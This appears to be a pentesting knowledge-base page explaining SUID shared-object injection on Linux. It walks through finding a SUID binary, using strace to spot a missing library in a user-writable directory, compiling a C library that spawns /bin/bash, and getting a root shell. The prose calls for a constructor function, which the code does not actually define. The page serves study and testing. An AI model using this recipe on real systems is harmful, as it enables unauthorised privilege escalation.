SUID SO Injection

Shared objects (.so files) in Linux are dynamically linked libraries (similar to Windows DLLs) used by executables to extend or modularize functionality at runtime. These libraries are typically loaded either at launch or during execution via functions like dlopen(). When a binary depends on a shared object and fails to find it at a hardcoded or expected path, the dynamic linker searches through various locations to resolve it. If the binary is misconfigured and attempts to load a shared object from a location controlled by a non-privileged user, this behavior can be exploited to achieve arbitrary code execution.

Shared Object Injection refers to the technique of supplying a malicious .so file to a binary that attempts to load it. If the binary has the SUID bit set and is owned by root, any code within the injected .so will execute with elevated privileges. This becomes particularly critical if the binary uses dlopen() without sanitizing library paths or enforces no proper loading restrictions. The attack typically succeeds when the library lookup path is user-writable and the binary references a missing or replaceable shared object.

# Enumerate SUIDs
$ find / -type f -perm -u=s 2>/dev/null
/var/www/html/wordpress/blog/backup-sync

# Check file type
$ file /var/www/html/wordpress/blog/backup-sync
/var/www/html/wordpress/blog/backup-sync: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=412e632d65575e1c9de841c1f5400fe63c1c6878, for GNU/Linux 3.2.0, not stripped

# Check permissions
$ ls -la /var/www/html/wordpress/blog/backup-sync
-rwsr-xr-x 1 root root 16728 Mar 27 11:15 /var/www/html/wordpress/blog/backup-sync

To identify this vulnerability in a SUID binary, the first step involves dynamic analysis using strace. Executing the binary under strace and filtering for open or access system calls reveals attempts to load files, including libraries. If the trace shows that the binary attempts to load a .so file but fails due to its absence, this is a strong indication of a potential injection point.

$ strace /var/www/html/wordpress/blog/backup-sync 2>&1 | grep -iE "open|access|no such file"
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/x7331/.lib/libsecurity.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

Further inspection of the binary using tools like strings can reveal whether it employs dlopen() or other dynamic loading functions. If dlopen() appears in the binary's output, it confirms that the binary is likely performing dynamic library loading at runtime.

$ strings backup-sync | grep dlopen
dlopen
dlopen@GLIBC_2.34

To exploit this condition, a custom .so must be created with a constructor function which executes as soon as the library is loaded.

libsecurity.c
// libsecurity.c
#include <stdio.h>
#include <stdlib.h>

void init_plugin() {
    system("/bin/bash");
}
# Create the directory
$ mkdir /home/x7331/.lib

# Compile the code into a shared object
$ gcc -shared -o /home/x7331/.lib/libsecurity.so -fPIC ./libsecurity.c

# Execute the target binary
$ /var/www/html/wordpress/blog/backup-sync
[+] Checking the logs...
root@kali:~# id
uid=0(root) gid=1002(bob) groups=1002(bob)

Last updated

Was this helpful?